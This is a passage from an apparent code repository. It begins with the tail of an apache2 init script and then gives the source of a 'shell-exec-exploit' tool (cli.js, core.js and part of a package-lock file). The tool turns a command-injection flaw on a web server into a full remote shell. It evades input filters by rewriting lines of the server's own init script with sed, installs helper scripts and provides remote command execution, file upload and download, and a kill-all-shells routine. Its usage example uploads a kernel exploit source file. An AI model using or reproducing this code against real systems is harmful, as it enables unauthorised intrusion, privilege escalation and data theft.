safety, Please review the situation by hand". 219 | return 2 220 | fi 221 | fi 222 | 223 | } 224 | 225 | 226 | # 227 | # Function that sends a SIGHUP to the daemon/service 228 | # 229 | do_reload() { 230 | if apache_conftest; then 231 | if ! pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then 232 | APACHE2_INIT_MESSAGE="Apache2 is not running" 233 | return 2 234 | fi 235 | $APACHE2CTL graceful > /dev/null 2>&1 236 | return $? 237 | else 238 | APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed. Not doing anything." 239 | return 2 240 | fi 241 | } 242 | 243 | 244 | # Sanity checks. They need to occur after function declarations 245 | [ -x $DAEMON ] || exit 0 246 | 247 | if [ ! -x $DAEMON ] ; then 248 | echo "No apache-bin package installed" 249 | exit 0 250 | fi 251 | 252 | if [ -z "$PIDFILE" ] ; then 253 | echo ERROR: APACHE_PID_FILE needs to be defined in $APACHE_ENVVARS >&2 254 | exit 2 255 | fi 256 | 257 | 258 | case "$1" in 259 | start) 260 | log_daemon_msg "Starting $DESC" "$NAME" 261 | do_start 262 | RET_STATUS=$? 263 | case "$RET_STATUS" in 264 | 0|1) 265 | log_success_msg 266 | [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running" 267 | ;; 268 | 2) 269 | log_failure_msg 270 | print_error_msg 271 | exit 1 272 | ;; 273 | esac 274 | ;; 275 | stop|graceful-stop) 276 | log_daemon_msg "Stopping $DESC" "$NAME" 277 | do_stop "$1" 278 | RET_STATUS=$? 279 | case "$RET_STATUS" in 280 | 0|1) 281 | log_success_msg 282 | [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was not running" 283 | ;; 284 | 2) 285 | log_failure_msg 286 | print_error_msg 287 | exit 1 288 | ;; 289 | esac 290 | print_error_msg 291 | 292 | ;; 293 | status) 294 | status_of_proc -p $PIDFILE "apache2" "$NAME" 295 | exit $? 296 | ;; 297 | reload|force-reload|graceful) 298 | log_daemon_msg "Reloading $DESC" "$NAME" 299 | do_reload 300 | RET_STATUS=$? 301 | case "$RET_STATUS" in 302 | 0|1) 303 | log_success_msg 304 | [ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running" 305 | ;; 306 | 2) 307 | log_failure_msg 308 | print_error_msg 309 | exit 1 310 | ;; 311 | esac 312 | print_error_msg 313 | ;; 314 | restart) 315 | log_daemon_msg "Restarting $DESC" "$NAME" 316 | do_stop stop 317 | case "$?" in 318 | 0|1) 319 | do_start 320 | case "$?" in 321 | 0) 322 | log_end_msg 0 323 | ;; 324 | 1|*) 325 | log_end_msg 1 # Old process is still or failed to running 326 | print_error_msg 327 | exit 1 328 | ;; 329 | esac 330 | ;; 331 | *) 332 | # Failed to stop 333 | log_end_msg 1 334 | print_error_msg 335 | exit 1 336 | ;; 337 | esac 338 | ;; 339 | start-htcacheclean|stop-htcacheclean) 340 | echo "Use 'service apache-htcacheclean' instead" 341 | ;; 342 | *) 343 | echo "Usage: $SCRIPTNAME {start|stop|graceful-stop|restart|reload|force-reload}" >&2 344 | exit 3 345 | ;; 346 | esac 347 | 348 | exit 0 349 | 350 | # vim: syntax=sh ts=4 sw=4 sts=4 sr noet 351 | -------------------------------------------------------------------------------- /shell-exec-exploit/exploit/cli.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | //@ts-check 4 | const help = () => { 5 | console.log([ 6 | '', 7 | ' Usage: ./cli.js [action]', 8 | '', 9 | ' Actions:', 10 | ' help: show this help', 11 | ' init: init workspace environment on server', 12 | ' destroy: destroy workspace environment on server', 13 | ' shell|repl: simple repl, read command and execute on server', 14 | ' exec [file]: read file content and execute on server', 15 | ' upload [remoteLocation] [file1] [file2] ...: upload file content to server', 16 | '', 17 | ' Examples:', 18 | ' ./cli.js upload /tmp/exp/ assets/cve-2017-1000112.c', 19 | '' 20 | ].join('\n')); 21 | process.exit(0); 22 | }; 23 | 24 | const DOWNLOAD_DIR = 'download'; 25 | const BASE_PATH = '/'; 26 | const ALIAS = { 27 | 'll': 'ls -alF', 28 | 'la': 'ls -A' 29 | }; 30 | 31 | const ACTION = ['init', 'shell', 'repl', 'exec', 'upload', 'destroy']; 32 | const CONFIG_FILE = 'config.js'; 33 | 34 | let fs = require('fs'), 35 | path = require('path'), 36 | url = require('url'); 37 | require('colors'); 38 | 39 | if (!fs.existsSync(path.join(__dirname, CONFIG_FILE))) { 40 | console.error(`\n error: please create ${CONFIG_FILE}!\n`); 41 | process.exit(1); 42 | } 43 | 44 | let core = require('./libs/core'); 45 | let hostname = url.parse(core.config.uri).hostname; 46 | let action = process.argv[2]; 47 | let replPath = '', replUser = 'unknown'; 48 | let replDirectoryStack = []; 49 | let repl = null; 50 | 51 | if (!action || action == 'help' || ACTION.indexOf(action) < 0) 52 | help(); 53 | 54 | main(); 55 | 56 | function main() { 57 | switch (action) { 58 | case 'init': 59 | console.log(`Init workspace on ${hostname} ...`); 60 | core.installWorkspaceOnServer(); 61 | return; 62 | case 'destroy': 63 | console.log(`Destroy workspace on ${hostname} ...`); 64 | core.destroyWorkspace(); 65 | return; 66 | case 'shell': 67 | case 'repl': 68 | console.log(`Launching REPL on ${hostname} ...`); 69 | console.log(` asking user name ...`.dim.grey); 70 | // random border 71 | let s1 = Math.random().toFixed(2).replace('.', 'd'), 72 | s2 = (Math.random() + 1).toFixed(3).replace('.', 'd'); 73 | core.shell(`echo "${s1}$(whoami)${s1}";echo "${s2}$(pwd)${s2}";`, (result, code) => { 74 | replUser = (String(result).match(new RegExp(s1 + '(.+)' + s1)) || ['', 'unknown'])[1]; 75 | replPath = (String(result).match(new RegExp(s2 + '(.+)' + s2)) || ['', BASE_PATH])[1]; 76 | 77 | console.log([ 78 | ` repl launched!`, 79 | ``, 80 | ` addon commands:`, 81 | ` .exec : execute a executable remote file`, 82 | ` .download : download a remote file`, 83 | ` .view : view a remote file (encoding safe)`, 84 | ` .clear|.cls: clear screen`, 85 | ` .exit: exit repl` 86 | ].map(v => v.dim.grey).join('\n')); 87 | 88 | repl = require('repl').start({ prompt: getReplPrompt(), eval: replEval }); 89 | repl.defineCommand('cls', { help: 'clear screen', action: clearScreen }); 90 | repl.defineCommand('clear', { help: 'clear screen', action: clearScreen }); 91 | repl.defineCommand('exec', { help: 'execute a remote file', action: execRemoteFile}) 92 | repl.defineCommand('download', { 93 | help: 'download a remote file', 94 | action(f) { downloadOrViewRemoteFile(false, f) } 95 | }); 96 | repl.defineCommand('view', { 97 | help: 'view a remote file (encoding safe)', 98 | action(f) { downloadOrViewRemoteFile(true, f) } 99 | }); 100 | }); 101 | return; 102 | case 'upload': 103 | let remotePath = (process.argv[3] || '').trim(); 104 | let files = process.argv.slice(4); 105 | if (!remotePath) { console.error(`\n error: no "remoteLocation"`.red); process.exit(10); } 106 | if (!files.length) { console.error(`\n error: no "remoteLocation"`.red); process.exit(11); } 107 | console.log('\nupload files:' + files.map((f, i) => (i % 5 == 0 ? '\n\t' : '\t') + f).join('')); 108 | console.log('\nremote folder: ' + remotePath); 109 | console.log('start uploading...'); 110 | return startUpload(files, remotePath); 111 | } 112 | } 113 | 114 | //============== upload ================== 115 | /** @param {string[]} _files */ 116 | function startUpload(_files, uploadTo) { 117 | let i = 0; 118 | let files = _files.map(f => { 119 | let bname = path.basename(f); 120 | return [f, bname, path.join(uploadTo, bname)]; 121 | }); 122 | core.setDisplayStatusCode(false); 123 | upload(); 124 | function upload() { 125 | if (!core.getRequestQueue().length) { 126 | if (i >= files.length) 127 | return console.log('success: all files uploaded'); 128 | let [local, name, remote] = files[i++]; 129 | let stat = fs.statSync(local); 130 | if (stat.isFile()) { 131 | // console.log(local, name, remote) 132 | core.shell(fs.readFileSync(local), (bd, res) => { 133 | console.log(`${res}: uploaded ${local} => ${remote} (${stat.size})`); 134 | }, remote, false); 135 | } else { 136 | console.error(`error: ${local} is not a file!`.red); 137 | } 138 | } 139 | setTimeout(upload, 10); 140 | } 141 | } 142 | //============== download ================ 143 | function downloadOrViewRemoteFile(isViewing, _file) { 144 | let file = String(_file || '').trim(); 145 | if (!file) { 146 | console.error(`error: no "remote file" given! (usage: .download )`.red); 147 | repl.displayPrompt(); 148 | return; 149 | } 150 | let random = Math.random().toFixed(5).replace('.', ':'); 151 | let command = 152 | `echo "${random}";` + 153 | `LC_ALL=C stat -c '%F' ${file};` + 154 | `echo "${random}";` + 155 | `base64 ${file};` + 156 | `echo "${random}";`; 157 | 158 | let localFile = path.basename(file), 159 | { ext, name } = path.parse(localFile), 160 | i = 1; 161 | 162 | if (!isViewing) { 163 | if (!fs.existsSync(DOWNLOAD_DIR)) 164 | fs.mkdirSync(DOWNLOAD_DIR); 165 | 166 | while (fs.existsSync(path.join(DOWNLOAD_DIR, localFile))) 167 | localFile = name + `.${i++}` + ext; 168 | console.log(`downloading ${file.bold} to ${DOWNLOAD_DIR}/${localFile.bold} ...`); 169 | } else { 170 | console.log(`loading ${file.bold} ...`); 171 | } 172 | 173 | replEval(command, null, null, (_, statusCode, result) => { 174 | let mt = result.match(new RegExp(random + '([\\s\\S]+)' + random + '([\\s\\S]+)' + random)); 175 | if (!mt) { 176 | console.error(`error: could not get file content from response!`.red); 177 | return repl.displayPrompt(); 178 | } 179 | let type = (mt[1] || '').trim(), base64 = mt[2]; 180 | if (type.indexOf('file') > 0) { 181 | if (isViewing) { 182 | console.log('Content:'.bold); 183 | console.log(new Buffer(base64, 'base64').toString()); 184 | } else { 185 | try { 186 | fs.writeFileSync(path.join(DOWNLOAD_DIR, localFile), 187 | new Buffer(base64, 'base64')); 188 | console.log('success!'); 189 | } catch (ex) { 190 | console.error(`error: write to local file failed!`.red); 191 | } 192 | } 193 | } else { 194 | console.error(`error: ${file} is not a file! (${type})`.red); 195 | } 196 | repl.displayPrompt(); 197 | }, true); 198 | } 199 | //============== repl ================== 200 | function getReplPrompt() { 201 | return `${replUser}@${hostname}`.green.bold + `:${(replPath||'').blue.bold}` + ` $ ` 202 | } 203 | function clearScreen() { 204 | console.log('\x1B[2J\x1B[0f'); 205 | console.log('screen be cleared!'); 206 | repl.displayPrompt(); 207 | } 208 | function execRemoteFile(file) { 209 | file = (file || '').trim(); 210 | if (!file) { 211 | console.error(`error: no "remote file" given! (usage: .exec )`.red); 212 | repl.displayPrompt(); 213 | return; 214 | } 215 | replEval(file, null, null, (_, statusCode) => { 216 | console.log(`execute remote file success! (${statusCode})`) 217 | repl.displayPrompt(); 218 | }); 219 | } 220 | function replEval(cmd, context, filename, callback, dontDisplay = false) { 221 | let isCd = false, isPushd = false, isPopd = false, cdTo = '/'; 222 | let random = Math.random().toFixed(3).replace('.', 'z'); 223 | 224 | cmd = cmd.trim(); 225 | 226 | if (cmd == 'exit') process.exit(0); 227 | if (cmd.match(/^(cd|pushd)\s/)) { 228 | isCd = cmd.match(/^cd/); 229 | isPushd = cmd.match(/^pushd/); 230 | cdTo = cmd.replace(/^(cd|pushd)/, '').trim(); 231 | 232 | if (!path.isAbsolute(cdTo)) 233 | cdTo = path.join(replPath || BASE_PATH, cdTo); 234 | 235 | cmd = `echo "${random}$(stat -c '%A user: %U group: %G~%n' ${cdTo})${random}"`; 236 | } else if (cmd.match(/^popd\s*/)) { 237 | isPopd = true; 238 | cdTo = replDirectoryStack.pop(); 239 | if (!cdTo) 240 | return callback(null, `popd: directory stack empty`); 241 | console.log(cdTo) 242 | cmd = `echo "${random}$(stat -c '%A user: %U group: %G~%n' ${cdTo})${random}"`; 243 | } 244 | 245 | //replace alias 246 | for (let key of Object.keys(ALIAS)) { 247 | if (cmd.startsWith(key + ' ') || cmd.startsWith(key + '\t') || cmd == key) { 248 | cmd = cmd.replace(key, ALIAS[key]) + ' '; 249 | break; 250 | } 251 | } 252 | 253 | //set repl path 254 | if (replPath) cmd = `cd ${replPath};` + cmd; 255 | 256 | // console.log(`executing ${JSON.stringify(cmd)} ...`.dim.grey); 257 | core.shell(cmd, (_result, statusCode) => { 258 | let result = String(_result).trim(); 259 | if (isCd || isPushd || isPopd) 260 | return handlerCdResponse(callback, result, statusCode); 261 | 262 | dontDisplay || console.log(result); 263 | callback(null, statusCode, dontDisplay ? result : void 0); 264 | }, null, true); 265 | 266 | 267 | function handlerCdResponse(callback, _result = '', statusCode = 200) { 268 | let prefix = isPushd ? 'pushd' : (isPopd ? 'popd' : 'cd'); 269 | let result = _result.match(new RegExp(random + '(.+)' + random)); 270 | if (!result || !result[1]) 271 | return console.error(`${prefix} to ${cdTo} failed!`.red), callback(null, statusCode); 272 | 273 | let c = result[1].indexOf('~'); 274 | let access = result[1].slice(0, c), path = result[1].slice(c + 1); 275 | if (c < 0 || !access || !path) 276 | return console.error(`${prefix} to ${cdTo} failed! (${result[1]})`.red), callback(null, statusCode); 277 | 278 | console.log(`${prefix} to ${path.bold} (${access})`); 279 | if (isPushd) { 280 | replDirectoryStack.push(replPath); 281 | console.log(' directory stack: '.dim + replDirectoryStack.map(v => v).reverse().join(' ')); 282 | } 283 | replPath = path; 284 | repl.setPrompt(getReplPrompt()); 285 | return callback(null, statusCode); 286 | } 287 | } 288 | -------------------------------------------------------------------------------- /shell-exec-exploit/exploit/libs/core.js: -------------------------------------------------------------------------------- 1 | //@ts-check 2 | 3 | //============================= 4 | // Dependent files: 5 | // /etc/php/etc/init.d/apache2 6 | // /etc/php/etc/apache2/apache2.conf 7 | //============================= 8 | let { create } = require('./request'); 9 | let bash = require('./bash'); 10 | let config = require('../config'), 11 | workspace = config.path.workspace, 12 | workspaceChars = config.path.characters, 13 | lessTemp = config.lessTemporaryFile; 14 | 15 | let req = create(inputFormatter, responseFormatter); 16 | let noResponseContent = false; 17 | let initSuccessCount = 0, allSuccessCount = 0; 18 | 19 | // Util scripts location 20 | const EXECUTABLE = workspace + 'ex'; 21 | // const CONCAT = workspace + 'cc'; //cc fileTo file1 file2 ... 22 | const AB2C = workspace + 'ab2c'; 23 | const SAFE_BASE64 = workspace + 'sb64'; //sb64 file safeBase64.part1 safeBase64.part2 .... 24 | const TMP_INSTALL_CHAR = workspace + 'ctp'; 25 | 26 | module.exports = { 27 | createRequestContainer: create, 28 | 29 | shell, slowShell, 30 | 31 | inputFormatter, responseFormatter, 32 | 33 | config, 34 | 35 | installWorkspaceOnServer, destroyWorkspace, 36 | }; 37 | 38 | //====================================== 39 | //#region functions: build up basic workspace on server 40 | function installWorkspaceOnServer() { 41 | step0BuildWorkspace(); 42 | allSuccessCount++; 43 | 44 | step1PreInstallCharFiles(); 45 | allSuccessCount++; 46 | 47 | for (let i = 0; i < 4; i++) { 48 | step1InstallCharFiles(i); 49 | allSuccessCount++; 50 | } 51 | 52 | step2BuildSomeTools(); 53 | allSuccessCount++; 54 | 55 | step3UpgradeTools(); 56 | allSuccessCount++; 57 | } 58 | 59 | function step0BuildWorkspace() { 60 | let edit = createTurnOverTempEditor('/tmp/10086', '/tmp/10010'); 61 | exec([ 62 | // while kill -0 "${PIDTMP:-}" 2> /dev/null; do 63 | edit.loadLine('/etc/php/etc/init.d/apache2', 131), 64 | edit.replace([ 65 | // mkdir -p 66 | ['while.', 'm'], ['ill', 'dio'], ['o', 'r'], ['0<29>', 'p'], 67 | ['do', workspaceChars] 68 | ]), 69 | edit.bashExec(), 70 | bash.stat(workspaceChars) 71 | ], (result, code) => { 72 | if (result.indexOf(workspaceChars) <= 0 73 | || !result.match(/Size.+Blocks.+directory/) 74 | || !result.match(/Access.+Uid.+Gid/)) 75 | return console.error(`0. error: install workspace folder failed!(${code})`); 76 | console.log(`0. success: installed workspace folder, deepest path: ${workspaceChars} (${code})`); 77 | initSuccessCount++; 78 | }); 79 | } 80 | function destroyWorkspace() { 81 | let edit = createTurnOverTempEditor(); 82 | exec([ 83 | // while kill -0 "${PIDTMP:-}" 2> /dev/null; do 84 | edit.loadLine('/etc/php/etc/init.d/apache2', 131), 85 | edit.replace([['while', 'rip'], ['ip<5>', 'm'], ['0', 'rf'], ['<3>PIDTMP<22>', workspace]]), 86 | edit.viewHex(), 87 | edit.bashExec(), 88 | ], (result, code) => { 89 | if (!result.match(/72\s?6d/)) 90 | return console.error(`\nerror: destroy workspace folder failed, maybe you have not init! (${code})\n`); 91 | console.log(`\nsuccess: destroy workspace folder (${code})\n`); 92 | }); 93 | } 94 | function step2BuildSomeTools() { 95 | let edit = createTurnOverTempEditor(), turn = edit.turn; 96 | let cmd = [ 97 | //================================== 98 | // ex: ex $SCRIPT_NAME 99 | // make script executable 100 | //================================== 101 | // /etc/php/etc/init.d/apache2:188: 102 | // if [ -e $PIDFILE ] && pidof $DAEMON | tr ' ' '\n' | grep -w $(cat $PIDFILE) > /dev/null 2>&1 ; then 103 | edit.loadLine('/etc/php/etc/init.d/apache2', 188), 104 | //chmod 105 | edit.replace([ 106 | ['if<49>', 'chmod'], ['grep<9>', '777'], ['PIDFILE<25>', '1'] 107 | ]), 108 | edit.copyTo(EXECUTABLE), 109 | //make itself executable 110 | bash.executeBashScript(EXECUTABLE, EXECUTABLE), 111 | bash.viewHexFile(EXECUTABLE), 112 | // 'debug_break', 113 | 114 | //================================== 115 | // ab2c: ab2c $FILENAME1 $FILENAME2 $FILENAME3 116 | // cat $a $b | sed w$c 117 | //================================== 118 | // /etc/php/etc/init.d/apache2:188: 119 | // if [ -e $PIDFILE ] && pidof $DAEMON | tr ' ' '\n' | grep -w $(cat $PIDFILE) > /dev/null 2>&1 ; then 120 | edit.loadLine('/etc/php/etc/init.d/apache2', 188), 121 | edit.replace([ 122 | ['if<5>', 'cao'], ['PIDFILE<11>', '1'], ['DAEMON<14>', '2'], 123 | ['grep...', 'sed'], ['...at.', 'w'], 124 | ['PIDFILE<25>', '3'], 125 | ['ao', 'at'] //cao => cat 126 | ]), 127 | // install (copy, executable, stat) 128 | edit.copyTo(AB2C), 129 | bash.execute(EXECUTABLE, AB2C), 130 | bash.viewHexFile(AB2C), 131 | ]; 132 | exec(cmd, (result, code) => { 133 | if (!result.match(/63\s?68\s?6d\s?6f\s?64/) || //hex: chmod 134 | !result.match(/63\s?61\s?74/)) //hex: cat 135 | return console.error(`2. error: install basic tools failed!(${code})`); 136 | console.log(`2. success: installed basic tools: ${EXECUTABLE} and ${AB2C} (${code})`); 137 | initSuccessCount++; 138 | }); 139 | } 140 | function step1PreInstallCharFiles() { 141 | let edit = createTurnOverTempEditor(); 142 | let cmds = [ 143 | // LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined 144 | // validate hex codes: 145 | // 4c6f 6746 6f72 6d61 7420 2225 763a 2570 LogFormat "%v:%p 146 | // 686f 7374 5f63 6f6d 6269 6e65 640a host_combined. 147 | edit.loadLine('/etc/php/etc/apache2/apache2.conf', 206), 148 | edit.copyTo(TMP_INSTALL_CHAR), 149 | bash.viewHexFile(TMP_INSTALL_CHAR) 150 | ]; 151 | exec(cmds, (result, code) => { 152 | if (result.indexOf('4c6f 6746 6f72 6d61 7420 2225 763a 2570') <= 0 153 | || result.indexOf('686f 7374 5f63 6f6d 6269 6e65 640a') <= 0) 154 | return console.error(`1. error: pre-install character files failed!(${code})`); 155 | console.log(`1. success: pre-installed character files, path: ${TMP_INSTALL_CHAR} (${code})`); 156 | initSuccessCount++; 157 | }); 158 | } 159 | /** @param {number} part 0|1|2|3 */ 160 | function step1InstallCharFiles(part) { 161 | let P = [[10, 13], [32, 64], [64, 96], [96, 127]]; 162 | let edit = createTurnOverTempEditor(); 163 | let cmd = []; let test = []; 164 | //============================================= 165 | // Generate workspaceChars/OCT_NUMBER single character file 166 | //============================================= 167 | for (let i = P[part][0], j = P[part][1]; i < j; i++) { 168 | let oct = toOctString(i); 169 | 170 | let target = workspaceChars + oct; 171 | cmd = cmd.concat([ 172 | edit.loadLine(TMP_INSTALL_CHAR, 1), 173 | edit.replace([ 174 | ['L.g.o..at<28>', 'printf'], ['s..O', target], 175 | ['...Referer..', ''], ['<6>User<26>', oct] 176 | ]), 177 | edit.bashExec(), 178 | bash.viewHexFile(target), 179 | ]); 180 | test.push(toHexString(i)); 181 | } 182 | exec(cmd, (result, code) => { 183 | for (let hex of test) 184 | if (!result.match(new RegExp('00000000:\\s' + hex))) 185 | return console.error(`1. error: install character file{0x${hex}} failed! (${code})`); 186 | console.log(`1. success: installed part ${part}/${P.length} of character files (${code})`); 187 | initSuccessCount++; 188 | }); 189 | } 190 | function step3UpgradeTools() { 191 | //upgrade ab2c tools for less output 192 | slowShell(`echo 'cat $1 $2 > $3' > ${AB2C}`, null, true, 193 | (result, code) => console.log(`3. upgraded ${AB2C}`)); 194 | // slowShell(`echo '>$1;for file in "\${@:2}"; do cat "$file" >> $1;done' > ${CONCAT}`); 195 | slowShell(`echo '#!/bin/bash 196 | echo "\${@:2}" | tr -d " " | 197 | sed "s:_a:k:g" | sed "s:_b:K:g" | sed "s:_c:+:g" | sed "s:_d:=:g" | 198 | base64 --decode > $1' > ${SAFE_BASE64}`, null, true, 199 | (result, code) => console.log(`3. installed ${SAFE_BASE64}`)); 200 | // slowShell(`chmod +x ${CONCAT};`); 201 | slowShell(`chmod +x ${SAFE_BASE64};`, null, true, 202 | (result, code) => console.log(`3. make ${SAFE_BASE64} executable`)); 203 | // shell function could be use if SAFE_BASE64 be installed 204 | shell('S1=Hello;S3=Shell;S2=My;echo "$S1$S2$S3;"', (result, code) => { 205 | if (result.indexOf('HelloMyShell') < 0) 206 | console.error(`3. error: upgrade tools failed! (${code})`); 207 | else 208 | console.log(`3. success: upgraded tools {${AB2C}, ${SAFE_BASE64}} (${code})`); 209 | 210 | initSuccessCount++; 211 | if (initSuccessCount < allSuccessCount) 212 | return console.error(`\nInit failed: (${initSuccessCount}/${allSuccessCount})\n`); 213 | console.log(`\nInit success, now you can use repl and shell function now!\n`) 214 | }); 215 | 216 | } 217 | //#endregion 218 | //===================================== 219 | 220 | /** 221 | * Web-Shell (slow) (but it build up quick shell) 222 | * @param {string} cmd bash script/commands/text file 223 | * @param {string} [filePath] default is temporary file 224 | * @param {boolean} [execIt] execute it 225 | */ 226 | function slowShell(cmd = ' ', filePath = '', execIt = true, callback = null) { 227 | let cmdChars = cmd.split('').map(v => toOctString(v.charCodeAt(0))) 228 | .filter(v => v.length <= 3 && v.length > 0); 229 | 230 | if (cmdChars.length != cmd.length) { 231 | console.error(`\n error: invalid command(included invalid characters):\n ${cmd}\n\n`); 232 | process.exit(1); 233 | } 234 | 235 | //padding 236 | const SPACE = '040'; 237 | cmdChars = cmdChars.concat([SPACE, SPACE]); 238 | if (cmdChars.length % 2 != 0) 239 | cmdChars.push(SPACE); 240 | 241 | let charFile = cmdChars.map(oct => workspaceChars + oct); 242 | let edit = createTurnOverTempEditor(); 243 | 244 | /** @type {any[]} */ 245 | let cmds = [ bash.execute(AB2C, charFile[0], charFile[1], edit.f1) ]; 246 | for (let i = 2; i < charFile.length; i += 2) { 247 | cmds.push(bash.execute(AB2C, charFile[i], charFile[i + 1], edit.f1 + 't')); 248 | cmds.push(bash.execute(AB2C, edit.f1, edit.f1 + 't', edit.f2)); 249 | edit.turn(); 250 | } 251 | if (filePath) 252 | cmds.push(edit.copyTo(filePath)); 253 | 254 | if(execIt) 255 | cmds.push(bash.executeBashScript(edit.f1)); 256 | // console.log(cmds); 257 | exec(cmds, callback); 258 | } 259 | /** @param {string|Buffer} cmd */ 260 | function shell(cmd, callback, filePath = '', execIt = true) { 261 | const ascii9 = '9'.charCodeAt(0); 262 | let buffer = typeof cmd == 'string' ? new Buffer(cmd) : cmd; 263 | let base64 = buffer.toString('base64').split('') 264 | .map(v => { 265 | if (v == 'k') return `_a`; 266 | if (v == 'K') return `_b`; 267 | if (v == '+') return `_c`; 268 | if (v == '=') return `_d`; 269 | if (v.charCodeAt(0) <= ascii9) return v; 270 | return ` ` + v; 271 | }).join(''); 272 | let file = filePath || createTurnOverTempEditor().f1; 273 | let cmds = [`${SAFE_BASE64} ${file} ${base64}`]; 274 | if (execIt) 275 | cmds.push(bash.executeBashScript(file)); 276 | req.exec(cmds, callback); 277 | } 278 | //sb64 /tmp/php/8a Z W N o b y B o Z W x s b 3 d v c m x _a I Q _d _d 279 | 280 | /** 281 | * kill all bash/sh processes 282 | */ 283 | function cleanOldShProcesses(shName = 'bash') { 284 | exec([ 285 | // Original command: 286 | // while kill -0 "${PIDTMP:-}" 2> /dev/null; do 287 | `sed 131w/tmp/tmp.1 /etc/php/etc/init.d/apache2;`, 288 | `sed s:while::w/tmp/tmp.2 /tmp/tmp.1;`, 289 | `sed s:ill...............................:illall:w/tmp/tmp.1 /tmp/tmp.2;`, 290 | `sed s:do:${shName}:w/tmp/tmp.2 /tmp/tmp.1;`, 291 | `nl /tmp/tmp.2;`, 292 | //execute 293 | `while true; do /bin/${shName=='sh'?'bash':'sh'} /tmp/tmp.2; done`]); 294 | } 295 | 296 | function toOctString(i = 0) { 297 | let oct = i.toString(8); 298 | if (oct.length == 1) return '00' + oct; 299 | else if (oct.length == 2) return '0' + oct; 300 | return oct; 301 | } 302 | function toHexString(i = 0) { 303 | let hex = i.toString(16); 304 | if (hex.length == 1) return '0' + hex; 305 | return hex; 306 | } 307 | 308 | /** 309 | * you can use it to do codes like follow easy: 310 | * sed s:abc:1:wFile2 File1; 311 | * sed s:xyz:2:wFile1 File2; 312 | * 313 | * @param {string} [f1] default: auto generate under workspace 314 | * @param {string} [f2] default: ~ 315 | */ 316 | function createTurnOverTempEditor(f1 = '', f2 = '') { 317 | if (!f1 || !f2) { 318 | let now = String(Date.now()); 319 | now = lessTemp ? now.slice(-2, -1) : now.slice(7); 320 | f1 = workspace + now + 'a'; 321 | f2 = workspace + now + 'b'; 322 | } 323 | 324 | let context = { 325 | get f1() { return f1 }, get f2() { return f2 }, 326 | turn() { let t = f1; f1 = f2; f2 = t; }, 327 | replaceOnce(from, to) { 328 | //Make "<10>" => ".........." (match 10 any characters) 329 | from = from.replace(/\<(\d+)\>/g, (_, num) => new Array(parseInt(num)).fill('.').join('')); 330 | let cmd = bash.replaceOnceInEachLine(from, to, f1, f2); 331 | context.turn(); 332 | return cmd; 333 | }, 334 | /** @param {[string, string][]} replaceArray */ 335 | replace(replaceArray) { 336 | /** @type {string[]} */ 337 | let cmd = []; 338 | replaceArray.map(([from, to]) => cmd.push(context.replaceOnce(from, to))); 339 | return cmd; 340 | }, 341 | loadLine(file, lineNo) { return bash.readOneLineToFile(lineNo, file, f1); }, 342 | copyTo(file) { return bash.copyTextFile(f1, file); }, 343 | bashExec() { return bash.executeBashScript(f1) }, 344 | viewHex() { return bash.viewHexFile(f1); } 345 | } 346 | return context; 347 | } 348 | 349 | 350 | /** 351 | * @param {(string|(string[]))[]} commands 352 | * @param {(result: string, code: number) => any} callback 353 | **/ 354 | function exec(commands, callback = null) { req.exec(commands, callback || displayResponse); } 355 | function inputFormatter(input = '') { return `;\n${input.replace(/ /g, '\t')}`; } 356 | function responseFormatter(result = '', statusCode = 0) { 357 | let index = result.indexOf('
');
358 | 	return result.slice(index + 5 + 'your name is:'.length)
359 | 		.replace(/<\/pre>$/, '')
360 | 		.trim();
361 | }
362 | function displayResponse(result, statusCode) { 
363 | 	console.log(`response: ${statusCode} =>`);
364 | 	console.log(result);
365 | }


--------------------------------------------------------------------------------
/shell-exec-exploit/exploit/package-lock.json:
--------------------------------------------------------------------------------
  1 | {
  2 |   "name": "web-shell",
  3 |   "version": "1.0.0",
  4 |   "lockfileVersion": 1,
  5 |   "requires": true,
  6 |   "dependencies": {
  7 |     "@types/colors": {
  8 |       "version": "1.1.3",
  9 |       "resolved": "https://registry.npmjs.org/@types/colors/-/colors-1.1.3.tgz",
 10 |       "integrity": "sha1-VBOwp6GxbdGL4OP9V9L+7Mgcx3Y=",
 11 |       "dev": true
 12 |     },
 13 |     "@types/form-data": {
 14 |       "version": "2.2.1",
 15 |       "resolved": "https://registry.npmjs.org/@types/form-data/-/form-data-2.2.1.tgz",
 16 |       "integrity": "sha512-JAMFhOaHIciYVh8fb5/83nmuO/AHwmto+Hq7a9y8FzLDcC1KCU344XDOMEmahnrTFlHjgh4L0WJFczNIX2GxnQ==",
 17 |       "dev": true,
 18 |       "requires": {
 19 |         "@types/node": "8.0.53"
 20 |       }
 21 |     },
 22 |     "@types/node": {
 23 |       "version": "8.0.53",
 24 |       "resolved": "https://registry.npmjs.org/@types/node/-/node-8.0.53.tgz",
 25 |       "integrity": "sha512-54Dm6NwYeiSQmRB1BLXKr5GELi0wFapR1npi8bnZhEcu84d/yQKqnwwXQ56hZ0RUbTG6L5nqDZaN3dgByQXQRQ==",
 26 |       "dev": true
 27 |     },
 28 |     "@types/request": {
 29 |       "version": "2.0.8",
 30 |       "resolved": "https://registry.npmjs.org/@types/request/-/request-2.0.8.tgz",
 31 |       "integrity": "sha512-fp8gsp0Qlq5wRas4UDjzayBxzWtQVcIumsMaHnNJzrk1Skx4WRpX5/HchSdZZf5/3Jp9m59EUBIGSI6mQEMOOg==",
 32 |       "dev": true,
 33 |       "requires": {
 34 |         "@types/form-data": "2.2.1",
 35 |         "@types/node": "8.0.53"
 36 |       }
 37 |     },
 38 |     "ajv": {
 39 |       "version": "5.5.2",
 40 |       "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz",
 41 |       "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=",
 42 |       "requires": {
 43 |         "co": "4.6.0",
 44 |         "fast-deep-equal": "1.1.0",
 45 |         "fast-json-stable-stringify": "2.0.0",
 46 |         "json-schema-traverse": "0.3.1"
 47 |       }
 48 |     },
 49 |     "asn1": {
 50 |       "version": "0.2.3",
